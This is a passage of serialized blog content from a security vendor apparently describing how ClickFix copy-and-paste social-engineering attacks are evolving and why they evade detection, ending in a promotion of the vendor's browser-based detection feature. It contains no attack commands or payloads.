browser threats in real time.",{"data":23224,"content":23225,"nodeType":866},{},[23226],{"data":23227,"marks":23228,"value":23229,"nodeType":865},{},[],"Push stops browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, ConsentFix, and session hijacking. You don’t need to wait until it all goes wrong either — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":23231,"content":23232,"nodeType":866},{},[23233,23236,23243,23246,23253],{"data":23234,"marks":23235,"value":9255,"nodeType":865},{},[],{"data":23237,"content":23238,"nodeType":889},{"uri":3192},[23239],{"data":23240,"marks":23241,"value":3198,"nodeType":865},{},[23242],{"type":1191},{"data":23244,"marks":23245,"value":19268,"nodeType":865},{},[],{"data":23247,"content":23248,"nodeType":889},{"uri":2644},[23249],{"data":23250,"marks":23251,"value":3223,"nodeType":865},{},[23252],{"type":1191},{"data":23254,"marks":23255,"value":1066,"nodeType":865},{},[],{"data":23257,"content":23261,"nodeType":921},{"target":23258},{"sys":23259},{"id":23260,"type":918,"linkType":919},"4D7zpYAc1tTEAmn2hpkWPe",[],{"data":23263,"content":23264,"nodeType":866},{},[23265],{"data":23266,"marks":23267,"value":21,"nodeType":865},{},[],"ConsentFix debrief: latest community insights, recommendations, and predictions","New insights on the ConsentFix campaign stopped by Push.","2026-01-14T00:00:00.000Z","consentfix-debrief",{"items":23273},[23274,23276],{"sys":23275,"name":342},{"id":2666},{"sys":23277,"name":2663},{"id":2662},{"items":23279},[23280],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":23281},{"url":2674},{"__typename":1802,"sys":23283,"content":23285,"title":23861,"synopsis":23862,"hashTags":59,"publishedDate":23863,"slug":23864,"tagsCollection":23865,"authorsCollection":23871},{"id":23284},"7rVNBW6rYXnXMpI0JEwzgR",{"json":23286},{"data":23287,"content":23288,"nodeType":1663},{},[23289,23296,23303,23315,23321,23328,23331,23339,23346,23352,23368,23375,23398,23405,23411,23414,23422,23455,23461,23480,23486,23505,23512,23518,23521,23529,23536,23556,23563,23583,23590,23596,23599,23607,23614,23647,23654,23661,23707,23726,23736,23743,23746,23754,23774,23781,23788,23794,23797,23804,23824,23850,23855],{"data":23290,"content":23291,"nodeType":866},{},[23292],{"data":23293,"marks":23294,"value":23295,"nodeType":865},{},[],"ClickFix attacks have skyrocketed in the last year. This social engineering attack has established itself as a key part of the modern attacker’s toolkit, tricking victims into running malicious code on their device.",{"data":23297,"content":23298,"nodeType":866},{},[23299],{"data":23300,"marks":23301,"value":23302,"nodeType":865},{},[],"As we showcased in our last webinar and at our threat briefing in London earlier this month, ClickFix is evolving fast, in terms of the web pages themselves, the delivery mechanisms by which they are sent to victims, and the nature of the payload and its execution.",{"data":23304,"content":23305,"nodeType":866},{},[23306,23310],{"data":23307,"marks":23308,"value":23309,"nodeType":865},{},[],"One particular example stood out to us in our research. ",{"data":23311,"marks":23312,"value":23314,"nodeType":865},{},[23313],{"type":935},"So, is this the most advanced ClickFix you’ve seen?",{"data":23316,"content":23320,"nodeType":921},{"target":23317},{"sys":23318},{"id":23319,"type":918,"linkType":919},"ID7VKJNOZk729P5zBOBjZ",[],{"data":23322,"content":23323,"nodeType":866},{},[23324],{"data":23325,"marks":23326,"value":23327,"nodeType":865},{},[],"Let’s break it down further.",{"data":23329,"content":23330,"nodeType":944},{},[],{"data":23332,"content":23333,"nodeType":953},{},[23334],{"data":23335,"marks":23336,"value":23338,"nodeType":865},{},[23337],{"type":935},"How ClickFix pages are evolving",{"data":23340,"content":23341,"nodeType":866},{},[23342],{"data":23343,"marks":23344,"value":23345,"nodeType":865},{},[],"The CloudFlare-based lure is a great example of how ClickFix pages themselves are evolving — and becoming increasingly convincing to users. ",{"data":23347,"content":23351,"nodeType":921},{"target":23348},{"sys":23349},{"id":23350,"type":918,"linkType":919},"4wJOgtofImjbsekyXMc5Ec",[],{"data":23353,"content":23354,"nodeType":866},{},[23355,23359,23364],{"data":23356,"marks":23357,"value":23358,"nodeType":865},{},[],"This is an incredibly slick example — ",{"data":23360,"marks":23361,"value":23363,"nodeType":865},{},[23362],{"type":935},"it almost looks like Cloudflare shipped a new kind of bot check service. ",{"data":23365,"marks":23366,"value":23367,"nodeType":865},{},[],"The embedded video, countdown timer, and counter for “users verified in the last hour” all serve to increase the sense of authenticity, and put extra pressure on the victim to complete the check. ",{"data":23369,"content":23370,"nodeType":866},{},[23371],{"data":23372,"marks":23373,"value":23374,"nodeType":865},{},[],"There are a couple of extra things happening under the hood here, too:",{"data":23376,"content":23377,"nodeType":2374},{},[23378,23388],{"data":23379,"content":23380,"nodeType":2309},{},[23381],{"data":23382,"content":23383,"nodeType":866},{},[23384],{"data":23385,"marks":23386,"value":23387,"nodeType":865},{},[],"The page is adapting to the device that you’re visiting from, serving up instructions specific to the user’s Mac (increasingly common as ClickFix expands to support different Operating Systems).",{"data":23389,"content":23390,"nodeType":2309},{},[23391],{"data":23392,"content":23393,"nodeType":866},{},[23394],{"data":23395,"marks":23396,"value":23397,"nodeType":865},{},[],"The page is automatically copying the malicious code to the user’s clipboard via JavaScript (which we see in 9/10 cases).",{"data":23399,"content":23400,"nodeType":866},{},[23401],{"data":23402,"marks":23403,"value":23404,"nodeType":865},{},[],"For the past decade or more, user awareness has focused on stopping users from clicking links in suspicious emails, downloading risky files, and entering their username and password into random websites. It hasn’t focused on opening up a program and running a command — so it’s no surprise that this kind of highly convincing page is so effective at duping victims into following the instructions. ",{"data":23406,"content":23410,"nodeType":921},{"target":23407},{"sys":23408},{"id":23409,"type":918,"linkType":919},"LiVIyGxdAaUXUfvKjD6ON",[],{"data":23412,"content":23413,"nodeType":944},{},[],{"data":23415,"content":23416,"nodeType":953},{},[23417],{"data":23418,"marks":23419,"value":23421,"nodeType":865},{},[23420],{"type":935},"How ClickFix delivery methods are evolving",{"data":23423,"content":23424,"nodeType":866},{},[23425,23429,23438,23442,23451],{"data":23426,"marks":23427,"value":23428,"nodeType":865},{},[],"There’s also the fact that this page wasn’t accessed via email. The top delivery vector for ClickFix attacks that we’ve observed is, in fact, Google Search — in the form of ",{"data":23430,"content":23432,"nodeType":889},{"uri":23431},"https://phishing-techniques.pushsecurity.com/techniques/malvertising/",[23433],{"data":23434,"marks":23435,"value":23437,"nodeType":865},{},[23436],{"type":1191},"poisoned search results and malicious advertising (malvertising)",{"data":23439,"marks":23440,"value":23441,"nodeType":865},{},[],". Attackers are either taking over legitimate sites (there’s a ",{"data":23443,"content":23445,"nodeType":889},{"uri":23444},"https://www.bleepingcomputer.com/news/security/hackers-launch-mass-attacks-exploiting-outdated-wordpress-plugins/",[23446],{"data":23447,"marks":23448,"value":23450,"nodeType":865},{},[23449],{"type":1191},"steady supply of website hosting and CMS vulnerabilities",{"data":23452,"marks":23453,"value":23454,"nodeType":865},{},[]," to take advantage of) or simply vibe-coding their own sites and optimizing them for various search terms. ",{"data":23456,"content":23460,"nodeType":921},{"target":23457},{"sys":23458},{"id":23459,"type":918,"linkType":919},"6N9EmH6AaN6Hr4xk6ozATR",[],{"data":23462,"content":23463,"nodeType":866},{},[23464,23468,23477],{"data":23465,"marks":23466,"value":23467,"nodeType":865},{},[],"And because most anti-phishing controls are implemented via email, by using ",{"data":23469,"content":23471,"nodeType":889},{"uri":23470},"https://pushsecurity.com/blog/why-attackers-are-moving-beyond-email-based-phishing?utm_source=thehackernews&utm_medium=sponsored-content&utm_term=article",[23472],{"data":23473,"marks":23474,"value":23476,"nodeType":865},{},[23475],{"type":1191},"non-email delivery vectors, an entire layer of detection opportunity is cut out",{"data":23478,"marks":23479,"value":3017,"nodeType":865},{},[],{"data":23481,"content":23485,"nodeType":921},{"target":23482},{"sys":23483},{"id":23484,"type":918,"linkType":919},"1CWsZlLFX9TS53J1uamOG8",[],{"data":23487,"content":23488,"nodeType":866},{},[23489,23493,23501],{"data":23490,"marks":23491,"value":23492,"nodeType":865},{},[],"But even when they are sent via email, ClickFix pages, like other modern phishing sites, are using a range of ",{"data":23494,"content":23496,"nodeType":889},{"uri":23495},"https://pushsecurity.com/blog/phishing-detection-evasion-launch?utm_source=thehackernews&utm_medium=sponsored-content&utm_term=article",[23497],{"data":23498,"marks":23499,"value":6750,"nodeType":865},{},[23500],{"type":1191},{"data":23502,"marks":23503,"value":23504,"nodeType":865},{},[]," that prevent them being flagged by security tools — from email scanners, to web-crawling security tools, to web proxies analyzing network traffic. Detection evasion mainly involves camouflaging and rotating domains to stay ahead of known-bad detections (i.e. blocklists), using bot protection to prevent analysis, and heavily obfuscating page content to stop detection signatures firing. ",{"data":23506,"content":23507,"nodeType":866},{},[23508],{"data":23509,"marks":23510,"value":23511,"nodeType":865},{},[],"Finally, because the code is copied inside the browser sandbox, typical security tools are unable to observe and flag this action as potentially malicious. This means that the last — and only — opportunity for organizations to stop ClickFix is on the endpoint, after the user has attempted to run the malicious code.",{"data":23513,"content":23517,"nodeType":921},{"target":23514},{"sys":23515},{"id":23516,"type":918,"linkType":919},"3HiqpIBWWMr5FMi3IBzXcc",[],{"data":23519,"content":23520,"nodeType":944},{},[],{"data":23522,"content":23523,"nodeType":953},{},[23524],{"data":23525,"marks":23526,"value":23528,"nodeType":865},{},[23527],{"type":935},"How ClickFix payloads are evolving",{"data":23530,"content":23531,"nodeType":866},{},[23532],{"data":23533,"marks":23534,"value":23535,"nodeType":865},{},[],"It’s not just the ClickFix page and delivery mechanisms that are evolving — the services where code is being run, and the type of payload, are also increasingly varied. ",{"data":23537,"content":23538,"nodeType":866},{},[23539,23543,23552],{"data":23540,"marks":23541,"value":23542,"nodeType":865},{},[],"While the main payloads observed by Push are mshta and PowerShell, ",{"data":23544,"content":23546,"nodeType":889},{"uri":23545},"https://mhaggis.github.io/ClickGrab/techniques.html",[23547],{"data":23548,"marks":23549,"value":23551,"nodeType":865},{},[23550],{"type":1191},"attackers are abusing a wide range of LOLBINS",{"data":23553,"marks":23554,"value":23555,"nodeType":865},{},[]," targeting different services across Operating Systems.",{"data":23557,"content":23558,"nodeType":866},{},[23559],{"data":23560,"marks":23561,"value":23562,"nodeType":865},{},[],"While it is possible to disable the Win+R dialog box and limit the applications that can be run from the File Explorer address bar, it is not possible to similarly restrict users from interacting with other legitimate services to run malicious commands. ",{"data":23564,"content":23565,"nodeType":866},{},[23566,23570,23579],{"data":23567,"marks":23568,"value":23569,"nodeType":865},{},[],"Another recent example termed ",{"data":23571,"content":23573,"nodeType":889},{"uri":23572},"https://expel.com/blog/cache-smuggling-when-a-picture-isnt-a-thousand-words/",[23574],{"data":23575,"marks":23576,"value":23578,"nodeType":865},{},[23577],{"type":1191},"cache smuggling",{"data":23580,"marks":23581,"value":23582,"nodeType":865},{},[]," was also identified by security researchers. This technique combines a ClickFix approach with JavaScript that caches a malicious file posing as a JPG. This means that the ClickFix command executes locally — effectively getting an entire zip file onto the local system without the PowerShell command needing to make any web requests.",{"data":23584,"content":23585,"nodeType":866},{},[23586],{"data":23587,"marks":23588,"value":23589,"nodeType":865},{},[],"Finally, it’s worth considering the future of ClickFix. The current attack path straddles browser and endpoint — what if it could take place entirely in the browser and evade EDR altogether? ",{"data":23591,"content":23595,"nodeType":921},{"target":23592},{"sys":23593},{"id":23594,"type":918,"linkType":919},"2rUDKawJnrmZVtxfNcSNha",[],{"data":23597,"content":23598,"nodeType":944},{},[],{"data":23600,"content":23601,"nodeType":953},{},[23602],{"data":23603,"marks":23604,"value":23606,"nodeType":865},{},[23605],{"type":935},"What’s the impact of ClickFix evolution?",{"data":23608,"content":23609,"nodeType":866},{},[23610],{"data":23611,"marks":23612,"value":23613,"nodeType":865},{},[],"To summarize:",{"data":23615,"content":23616,"nodeType":2374},{},[23617,23627,23637],{"data":23618,"content":23619,"nodeType":2309},{},[23620],{"data":23621,"content":23622,"nodeType":866},{},[23623],{"data":23624,"marks":23625,"value":23626,"nodeType":865},{},[],"ClickFix pages are becoming increasingly sophisticated, making it more likely that victims will fall for the social engineering.",{"data":23628,"content":23629,"nodeType":2309},{},[23630],{"data":23631,"content":23632,"nodeType":866},{},[23633],{"data":23634,"marks":23635,"value":23636,"nodeType":865},{},[],"ClickFix delivery is evading traditional monitoring controls at the email layer to reach victims. ",{"data":23638,"content":23639,"nodeType":2309},{},[23640],{"data":23641,"content":23642,"nodeType":866},{},[23643],{"data":23644,"marks":23645,"value":23646,"nodeType":865},{},[],"ClickFix payloads are becoming more varied and are finding new ways to evade security controls. ",{"data":23648,"content":23649,"nodeType":866},{},[23650],{"data":23651,"marks":23652,"value":23653,"nodeType":865},{},[],"This means that EDR-based interception of malware execution is the last — and only — real line of defense for most organizations, kicking in after the initial script has been run (typically acting as a stager for the real malware). ",{"data":23655,"content":23656,"nodeType":866},{},[23657],{"data":23658,"marks":23659,"value":23660,"nodeType":865},{},[],"Malware execution can and should be intercepted by EDR, but it’s not foolproof. ",{"data":23662,"content":23663,"nodeType":2374},{},[23664,23687,23697],{"data":23665,"content":23666,"nodeType":2309},{},[23667],{"data":23668,"content":23669,"nodeType":866},{},[23670,23674,23683],{"data":23671,"marks":23672,"value":23673,"nodeType":865},{},[],"Attackers are constantly ",{"data":23675,"content":23677,"nodeType":889},{"uri":23676},"https://www.infostealers.com/article/logins-zip-leverages-chromium-zero-day-stealthy-infostealer-builder-promises-99-credential-theft-in-under-12-seconds/",[23678],{"data":23679,"marks":23680,"value":23682,"nodeType":865},{},[23681],{"type":1191},"developing new tools and capabilities",{"data":23684,"marks":23685,"value":23686,"nodeType":865},{},[]," to bypass EDR in the cat-and-mouse game between attackers and defenders.",{"data":23688,"content":23689,"nodeType":2309},{},[23690],{"data":23691,"content":23692,"nodeType":866},{},[23693],{"data":23694,"marks":23695,"value":23696,"nodeType":865},{},[],"Because ClickFix attacks are user initiated, context might be missing that lead to the alert being misclassified. This can mean the difference between the level of priority alert that is raised, and whether or not it is automatically blocked.",{"data":23698,"content":23699,"nodeType":2309},{},[23700],{"data":23701,"content":23702,"nodeType":866},{},[23703],{"data":23704,"marks":23705,"value":23706,"nodeType":865},{},[],"If you’re an organization that allows employees and contractors to use unmanaged BYOD devices, there’s a strong chance that there are gaps in your EDR coverage.",{"data":23708,"content":23709,"nodeType":866},{},[23710,23714,23722],{"data":23711,"marks":23712,"value":23713,"nodeType":865},{},[],"This is why attackers are doubling down. According to the ",{"data":23715,"content":23717,"nodeType":889},{"uri":23716},"https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/msc/documents/presentations/CSR/Microsoft-Digital-Defense-Report-2025.pdf#page=1",[23718],{"data":23719,"marks":23720,"value":23721,"nodeType":865},{},[],"2025 Microsoft Digital Defense report",{"data":23723,"marks":23724,"value":23725,"nodeType":865},{},[],", ClickFix was the most common initial access method in the last year, accounting for 47% of attacks. That's a pretty significant stat.",{"data":23727,"content":23728,"nodeType":5786},{},[23729],{"data":23730,"content":23731,"nodeType":866},{},[23732],{"data":23733,"marks":23734,"value":23735,"nodeType":865},{},[],"47% of attacks started with ClickFix in the last year, according to Microsoft.",{"data":23737,"content":23738,"nodeType":866},{},[23739],{"data":23740,"marks":23741,"value":23742,"nodeType":865},{},[],"Ultimately, organizations are leaving themselves relying on a single line of defense — if the attack isn’t detected and blocked by EDR, it isn’t spotted at all. ",{"data":23744,"content":23745,"nodeType":944},{},[],{"data":23747,"content":23748,"nodeType":953},{},[23749],{"data":23750,"marks":23751,"value":23753,"nodeType":865},{},[23752],{"type":935},"Don’t gamble on a single point of failure ",{"data":23755,"content":23756,"nodeType":866},{},[23757,23761,23770],{"data":23758,"marks":23759,"value":23760,"nodeType":865},{},[],"Push Security’s latest feature, ",{"data":23762,"content":23764,"nodeType":889},{"uri":23763},"https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection?utm_source=thehackernews&utm_medium=sponsored-content&utm_term=article",[23765],{"data":23766,"marks":23767,"value":23769,"nodeType":865},{},[23768],{"type":1191},"malicious copy and paste detection",{"data":23771,"marks":23772,"value":23773,"nodeType":865},{},[],", tackles ClickFix-style attacks at the earliest opportunity through browser-based detection and blocking. This is a universally effective control that works regardless of the lure delivery channel, page style and structure, or the specifics of the malware type and execution.",{"data":23775,"content":23776,"nodeType":866},{},[23777],{"data":23778,"marks":23779,"value":23780,"nodeType":865},{},[],"Unlike heavy-handed DLP solutions that block copy-paste altogether, Push protects your employees without disrupting their user experience or hampering productivity.",{"data":23782,"content":23783,"nodeType":866},{},[23784],{"data":23785,"marks":23786,"value":23787,"nodeType":865},{},[],"By adding a new layer of protection in the browser, security teams can reduce the strain on their EDR and reduce the risk of host-based controls being bypassed through misconfiguration or attacker innovation. ",{"data":23789,"content":23793,"nodeType":921},{"target":23790},{"sys":23791},{"id":23792,"type":918,"linkType":919},"sALkMt8UbTZ2f34hKvGLj",[],{"data":23795,"content":23796,"nodeType":944},{},[],{"data":23798,"content":23799,"nodeType":953},{},[23800],{"data":23801,"marks":23802,"value":11994,"nodeType":865},{},[23803],{"type":935},{"data":23805,"content":23806,"nodeType":866},{},[23807,23811,23820],{"data":23808,"marks":23809,"value":23810,"nodeType":865},{},[],"If you want to learn more about ClickFix attacks and how they’re evolving, ",{"data":23812,"content":23814,"nodeType":889},{"uri":23813},"https://pushsecurity.com/resources/clickfix",[23815],{"data":23816,"marks":23817,"value":23819,"nodeType":865},{},[23818],{"type":1191},"check out our latest webinar (now available on-demand!)",{"data":23821,"marks":23822,"value":23823,"nodeType":865},{},[]," where we dive into real-world ClickFix examples and demonstrate how ClickFix sites work under the hood. ",{"data":23825,"content":23826,"nodeType":866},{},[23827,23830,23837,23840,23847],{"data":23828,"marks":23829,"value":9255,"nodeType":865},{},[],{"data":23831,"content":23832,"nodeType":889},{"uri":3192},[23833],{"data":23834,"marks":23835,"value":3198,"nodeType":865},{},[23836],{"type":1191},{"data":23838,"marks":23839,"value":19268,"nodeType":865},{},[],{"data":23841,"content":23842,"nodeType":889},{"uri":2644},[23843],{"data":23844,"marks":23845,"value":3223,"nodeType":865},{},[23846],{"type":1191},{"data":23848,"marks":23849,"value":1066,"nodeType":865},{},[],{"data":23851,"content":23854,"nodeType":921},{"target":23852},{"sys":23853},{"id":23409,"type":918,"linkType":919},[],{"data":23856,"content":23857,"nodeType":866},{},[23858],{"data":23859,"marks":23860,"value":21,"nodeType":865},{},[],"The most advanced ClickFix yet?","Breaking down the most sophisticated ClickFix page we’ve seen in the wild — and what it tells us about the future of malicious copy-and-paste attacks. ","2025-11-06T00:00:00.000Z","the-most-advanced-clickfix-yet",{"items":23866},[23867,23869],{"sys":23868,"name":342},{"id":2666},{"sys":23870,"name":2663},{"id":2662},{"items":23872},[23873],{"fullName":2670,"firstName":2671,"jobTitle":2672,"profilePicture":23874},{"url":2674},{"__typename":1802,"sys":23876,"content":23877,"title":20558,"synopsis":24497,"hashTags":59,"publishedDate":24498,"slug":20559,"tagsCollection":24499,"authorsCollection":24505},{"id":20264},{"json":23878},{"data":23879,"content":23880,"nodeType":1663},{},[23881,23926,23983,23998,24003,24010,24013,24021,24028,24035,24042,24062,24069,24075,24093,24099,24102,24110,24117,24125,24145,24152,24159,24166,24174,24181,24188,24194,24201,24234,24240,24248,24267,24274,24297,24304,24311,24317,24324,24327,24335,24349,24369,24376,24383,24390,24395,24403,24422,24425,24432,24439,24446,24453,24460,24486,24491],{"data":23882,"content":23883,"nodeType":866},{},[23884,23888,23896,23900,23909,23913,23922],{"data":23885,"marks":23886,"value":23887,"nodeType":865},{},[],"One of the biggest security trends in the past year has been the emergence of the attack technique known as ",{"data":23889,"content":23891,"nodeType":889},{"uri":23890},"https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/",[23892],{"data":23893,"marks":23894,"value":315,"nodeType":865},{},[23895],{"type":1191},{"data":23897,"marks":23898,"value":23899,"nodeType":865},{},[],". Various reports indicate that ClickFix is fast becoming one of the most prevalent attack techniques this year, with ",{"data":23901,"content":23903,"nodeType":889},{"uri":23902},"https://www.scworld.com/news/clickfix-phishing-links-increased-nearly-400-in-12-months-report-says",[23904],{"data":23905,"marks":23906,"value":23908,"nodeType":865},{},[23907],{"type":1191},"one study",{"data":23910,"marks":23911,"value":23912,"nodeType":865},{},[]," reporting that email-based ClickFix attacks have increased by 400% YOY, and ",{"data":23914,"content":23916,"nodeType":889},{"uri":23915},"https://web-assets.esetstatic.com/wls/en/papers/threat-reports/eset-threat-report-h12025.pdf",[23917],{"data":23918,"marks":23919,"value":23921,"nodeType":865},{},[23920],{"type":1191},"another",{"data":23923,"marks":23924,"value":23925,"nodeType":865},{},[]," highlighting a 517% increase in the past 6 months. ",{"data":23927,"content":23928,"nodeType":866},{},[23929,23933,23942,23945,23954,23957,23966,23970,23979],{"data":23930,"marks":23931,"value":23932,"nodeType":865},{},[],"ClickFix is known to be regularly used by the Interlock ransomware group and other prolific threat actors. A number of recent public data breaches have been linked to ClickFix attacks as the attack vector, such as ",{"data":23934,"content":23936,"nodeType":889},{"uri":23935},"https://www.bleepingcomputer.com/news/security/kettering-health-confirms-interlock-ransomware-behind-cyberattack/",[23937],{"data":23938,"marks":23939,"value":23941,"nodeType":865},{},[23940],{"type":1191},"Kettering Health",{"data":23943,"marks":23944,"value":3202,"nodeType":865},{},[],{"data":23946,"content":23948,"nodeType":889},{"uri":23947},"https://www.bleepingcomputer.com/news/security/interlock-ransomware-claims-davita-attack-leaks-stolen-data/",[23949],{"data":23950,"marks":23951,"value":23953,"nodeType":865},{},[23952],{"type":1191},"DaVita",{"data":23955,"marks":23956,"value":3202,"nodeType":865},{},[],{"data":23958,"content":23960,"nodeType":889},{"uri":23959},"https://www.infosecurity-magazine.com/news/st-paul-mayor-interlock-data-leak/",[23961],{"data":23962,"marks":23963,"value":23965,"nodeType":865},{},[23964],{"type":1191},"City of St. Paul, Minnesota",{"data":23967,"marks":23968,"value":23969,"nodeType":865},{},[],", and the ",{"data":23971,"content":23973,"nodeType":889},{"uri":23972},"https://www.blackfog.com/texas-tech-cyberattack-1-4m-records-compromised/",[23974],{"data":23975,"marks":23976,"value":23978,"nodeType":865},{},[23977],{"type":1191},"Texas Tech University Health Sciences Centers",{"data":23980,"marks":23981,"value":23982,"nodeType":865},{},[]," (with many more breaches likely to involve ClickFix where the attack vector wasn’t known or disclosed).",{"data":23984,"content":23985,"nodeType":866},{},[23986,23990,23994],{"data":23987,"marks":23988,"value":23989,"nodeType":865},{},[],"Push’s latest feature, ",{"data":23991,"marks":23992,"value":23769,"nodeType":865},{},[23993],{"type":935},{"data":23995,"marks":23996,"value":23997,"nodeType":865},{},[],", tackles ClickFix-style attacks at the earliest opportunity through browser-based detection, with a universally effective control that works regardless of the lure delivery channel, or page style and structure. ",{"data":23999,"content":24002,"nodeType":921},{"target":24000},{"sys":24001},{"id":23792,"type":918,"linkType":919},[],{"data":24004,"content":24005,"nodeType":866},{},[24006],{"data":24007,"marks":24008,"value":24009,"nodeType":865},{},[],"Before we get into the specifics of the feature, let’s take a look at what ClickFix is and why it poses a detection and response challenge to security teams.",{"data":24011,"content":24012,"nodeType":944},{},[],{"data":24014,"content":24015,"nodeType":953},{},[24016],{"data":24017,"marks":24018,"value":24020,"nodeType":865},{},[24019],{"type":935},"ClickFix 101",{"data":24022,"content":24023,"nodeType":866},{},[24024],{"data":24025,"marks":24026,"value":24027,"nodeType":865},{},[],"ClickFix attacks prompt the user to solve some kind of problem or challenge in the browser — most commonly a CAPTCHA, but also things like fixing an error on a webpage. The name is a little misleading though — the key factor in the attack is that they trick users into running malicious commands on their device by copying malicious code from the page clipboard and running it locally. (For simplicity we’ll keep calling it ClickFix, but we’re not happy about it.)",{"data":24029,"content":24030,"nodeType":866},{},[24031],{"data":24032,"marks":24033,"value":24034,"nodeType":865},{},[],"The copy action is either performed manually by the user, or automatically by the page. Manual copies typically include additional social engineering to lure the victim into hitting CTRL+C, while automatic copies are performed using JavaScript running on the page. Most ClickFix pages we've seen are automatic copies, which makes sense — fewer steps means the user is more likely to follow the instruction.",{"data":24036,"content":24037,"nodeType":866},{},[24038],{"data":24039,"marks":24040,"value":24041,"nodeType":865},{},[],"Most commonly, these attacks are used to deliver remote access software or infostealer malware using stolen session cookies and credentials to facilitate attacks on business apps and services. From there, the attacker simply dumps the data and holds the victim to ransom for its deletion — often dropping ransomware afterwards for double the extortion. ",{"data":24043,"content":24044,"nodeType":866},{},[24045,24049,24058],{"data":24046,"marks":24047,"value":24048,"nodeType":865},{},[],"The attack gives the victim instructions that involve clicking prompts and copying, pasting, and running commands directly in the Windows Run dialog box, Terminal, or PowerShell in order to “fix” the fake problem that they’re experiencing. Variants such as ",{"data":24050,"content":24052,"nodeType":889},{"uri":24051},"https://mrd0x.com/filefix-clickfix-alternative/",[24053],{"data":24054,"marks":24055,"value":24057,"nodeType":865},{},[24056],{"type":1191},"FileFix",{"data":24059,"marks":24060,"value":24061,"nodeType":865},{},[]," have also emerged which instead use the File Explorer Address Bar to execute OS commands.",{"data":24063,"content":24064,"nodeType":866},{},[24065],{"data":24066,"marks":24067,"value":24068,"nodeType":865},{},[],"Links to malicious ClickFix pages are distributed over various delivery channels, with attacks shifting from traditional email-based delivery to social media, instant messaging apps, malicious ads in places like Google Search, and using in-app notifications and messages across numerous SaaS services. ",{"data":24070,"content":24074,"nodeType":921},{"target":24071},{"sys":24072},{"id":24073,"type":918,"linkType":919},"1I9ERDY2tuspw5zVMV5DbY",[],{"data":24076,"content":24077,"nodeType":866},{},[24078,24082,24089],{"data":24079,"marks":24080,"value":24081,"nodeType":865},{},[],"ClickFix comes in a variety of lures, including impersonating CAPTCHA, Cloudflare Turnstile, simulating an error loading a webpage, and many more. They have also been observed targeting a ",{"data":24083,"content":24084,"nodeType":889},{"uri":23545},[24085],{"data":24086,"marks":24087,"value":24088,"nodeType":865},{},[],"wide range of services",{"data":24090,"marks":24091,"value":24092,"nodeType":865},{},[]," to execute code. ",{"data":24094,"content":24098,"nodeType":921},{"target":24095},{"sys":24096},{"id":24097,"type":918,"linkType":919},"1SG52ta1hcBZ3gYDsSJvsm",[],{"data":24100,"content":24101,"nodeType":944},{},[],{"data":24103,"content":24104,"nodeType":953},{},[24105],{"data":24106,"marks":24107,"value":24109,"nodeType":865},{},[24108],{"type":935},"Why are ClickFix attacks so effective?",{"data":24111,"content":24112,"nodeType":866},{},[24113],{"data":24114,"marks":24115,"value":24116,"nodeType":865},{},[],"To understand the effectiveness of ClickFix-style attacks, we need to look more closely at the mechanisms that security teams have at their disposal to counter these attacks. ",{"data":24118,"content":24119,"nodeType":1229},{},[24120],{"data":24121,"marks":24122,"value":24124,"nodeType":865},{},[24123],{"type":935},"Detection challenges during delivery",{"data":24126,"content":24127,"nodeType":866},{},[24128,24132,24141],{"data":24129,"marks":24130,"value":24131,"nodeType":865},{},[],"We’ve written extensively about ",{"data":24133,"content":24135,"nodeType":889},{"uri":24134},"https://pushsecurity.com/blog/phishing-detection-evasion-launch/",[24136],{"data":24137,"marks":24138,"value":24140,"nodeType":865},{},[24139],{"type":1191},"the evolution in phishing techniques and tooling",{"data":24142,"marks":24143,"value":24144,"nodeType":865},{},[],", and what this means for the reliability of traditional detections at the network and endpoint layer. ",{"data":24146,"content":24147,"nodeType":866},{},[24148],{"data":24149,"marks":24150,"value":24151,"nodeType":865},{},[],"The latest generation of phishing pages are dynamically obfuscating the code that loads the web page, implementing custom bot protection (e.g. CAPTCHA or Cloudflare Turnstile), using runtime anti-analysis features, and using legitimate SaaS and cloud services to host and deliver phishing links to cover their tracks.",{"data":24153,"content":24154,"nodeType":866},{},[24155],{"data":24156,"marks":24157,"value":24158,"nodeType":865},{},[],"This means that traditional anti-phishing tools at the email and network layer are struggling to keep up, with many attacks evading email-based detections (or bypassing email altogether). At the same time, proxy-based solutions now see a garbled mess of JavaScript code without the necessary context of what is actually happening in the browser to be able to piece it together effectively. Even if they don’t realize it, this means many organizations are now relying solely on blocking known-bad sites and hosts — a wildly ineffective solution in 2025 with the rate that attackers refresh and rotate their phishing infrastructure. ",{"data":24160,"content":24161,"nodeType":866},{},[24162],{"data":24163,"marks":24164,"value":24165,"nodeType":865},{},[],"In addition to the fact that ClickFix page styles and content can vary significantly, this means that detecting ClickFix delivery using traditional tooling is highly unreliable. ",{"data":24167,"content":24168,"nodeType":1229},{},[24169],{"data":24170,"marks":24171,"value":24173,"nodeType":865},{},[24172],{"type":935},"Detection challenges during execution",{"data":24175,"content":24176,"nodeType":866},{},[24177],{"data":24178,"marks":24179,"value":24180,"nodeType":865},{},[],"Most of the detection heavy lifting is being done at the endpoint, looking for user-level code execution and malware running on a device. ",{"data":24182,"content":24183,"nodeType":866},{},[24184],{"data":24185,"marks":24186,"value":24187,"nodeType":865},{},[],"However, the number of ClickFix-related headlines in the news would indicate that endpoint controls are being routinely bypassed, or perhaps evaded altogether by targeting personal or BYOD devices. ",{"data":24189,"content":24193,"nodeType":921},{"target":24190},{"sys":24191},{"id":24192,"type":918,"linkType":919},"pocty4OhER5EXr8BDwdzo",[],{"data":24195,"content":24196,"nodeType":866},{},[24197],{"data":24198,"marks":24199,"value":24200,"nodeType":865},{},[],"There are a number of reasons that endpoint-level ClickFix detections can be bypassed:",{"data":24202,"content":24203,"nodeType":2374},{},[24204,24214,24224],{"data":24205,"content":24206,"nodeType":2309},{},[24207],{"data":24208,"content":24209,"nodeType":866},{},[24210],{"data":24211,"marks":24212,"value":24213,"nodeType":865},{},[],"The step of downloading a file from the web is bypassed altogether. In a ClickFix/FileFix attack, the initial “dropper” is essentially a command string provided by the attacker and executed by legitimate system utilities. There is often no new executable file written to disk when the user runs the command. The final payload may be loaded directly into memory or injected into trusted programs (using living-off-the-land techniques). Without a file to quarantine, there's no \"Mark of the Web\" to 